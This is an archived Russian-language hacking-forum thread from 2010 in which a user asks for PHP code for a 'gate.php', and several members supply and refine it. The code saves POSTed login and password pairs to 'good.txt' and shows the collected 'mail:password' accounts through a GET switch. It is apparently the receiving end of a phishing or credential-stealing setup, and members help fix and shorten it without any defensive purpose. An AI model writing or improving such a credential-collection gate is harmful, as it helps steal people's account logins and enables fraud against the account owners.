PDA

Просмотр полной версии : yнужен скрипт [PHP]


RedFern.89
25.02.2010, 19:20
например у меня на сервере лежит файл Accounts.txt bи есть файл gate.php


файл Accounts.txt cсодержит данные следующего типа:

mail:password


Задача. как сгенерировать html-страницу, с содержанием файла, если я подам GET-запрос на сервер следующим образом: http://domainname.com/gate.php?act=showaccs

???

LStr1ke
25.02.2010, 19:30
#1
<?php
if(isset($_GET['act']) && $_GET['act'] == 'showaccs') {
$file = str_replace("\n",'<br />', file_get_contents('accounts.txt'));
echo $file;
}
?>

#2
<?php
if(isset($_GET['act']) && $_GET['act'] == 'showaccs') {
$file = file("accounts.txt");
foreach($file as $line) {
echo $line."<br />";
}
}
?>

RedFern.89
25.02.2010, 19:35
вот еще вопрос. Даже при пустом запросе, lдобавляются знаки : в файл. Как этого избежать?



<?php
error_reporting(0);
$accs = 'good.txt';
$good = fopen($accs,"a+");
fwrite($good, "$_POST[login]:$_POST[password]\n");
fclose($good);
fclose($bad);
if(isset($_GET['act']) && $_GET['act'] == 'show') {
$file = str_replace("\n",'<br />', file_get_contents('good.txt'));
echo $file;
}
?>

LStr1ke
25.02.2010, 19:39
Поставь вначале проверку.

if(!empty($_POST['login']) && !empty($_POST['password'])) ...

Но будет пропускать пробелы.

RedFern.89
25.02.2010, 20:17
а теперь как бы все это совместить?))

Dark_cracker
25.02.2010, 20:55
Вот так )
<?php
error_reporting(0);
if (!empty($_POST[login]) or !empty($_POST[password])){
$accs = 'good.txt';
$good = fopen($accs,"a+");
fwrite($good, "$_POST[login]:$_POST[password]\n");
fclose($good);
fclose($bad);
if(isset($_GET['act']) && $_GET['act'] == 'show') {
$file = str_replace("\n",'<br />', file_get_contents('good.txt'));
echo $file;
}
}
?>
ток поидее перенос строки будет \r\n а у тебя прост \n

mailbrush
25.02.2010, 20:59
Омг...
if(@$_GET['act']=='showaccs')
echo nl2br(file_get_contents('accounts.txt'));

AdReNa1!Ne
25.02.2010, 21:09
А не проще

<?php
if ($_POST[login] && $_POST[password])
{
...
}

LStr1ke
25.02.2010, 23:50
Омг...
if(@$_GET['act']=='showaccs')
echo nl2br(file_get_contents('accounts.txt'));

омг
echo @$_GET['act']=='showaccs' ? nl2br(file_get_contents('pppp.txt')) : '' ;

mailbrush
25.02.2010, 23:54
омг
echo @$_GET['act']=='showaccs' ? nl2br(file_get_contents('pppp.txt')) : '' ;
Омг
echo @$_GET['act']=='showaccs' ? nl2br(file_get_contents('pppp.txt')) : 0;

m0Hze
26.02.2010, 00:02
Омг
echo @$_GET['act']=='showaccs' ? nl2br(file_get_contents('pppp.txt')) : 0;
Это так критично? В чем выразиться разница в производительность/время? Я сху*ваю над вами.

LStr1ke
26.02.2010, 00:38
Mailbrush А в чем разница от Null и 0 ?
2 m0Hze ну mailbrush просто показал, что код можно значительно сократить =\
О производительности и функциональности тут не дискутировали

dr.Web
27.02.2010, 14:50
опять без меня пиписьками мериетесь?
соревнования кто лучше пхп знает? xDD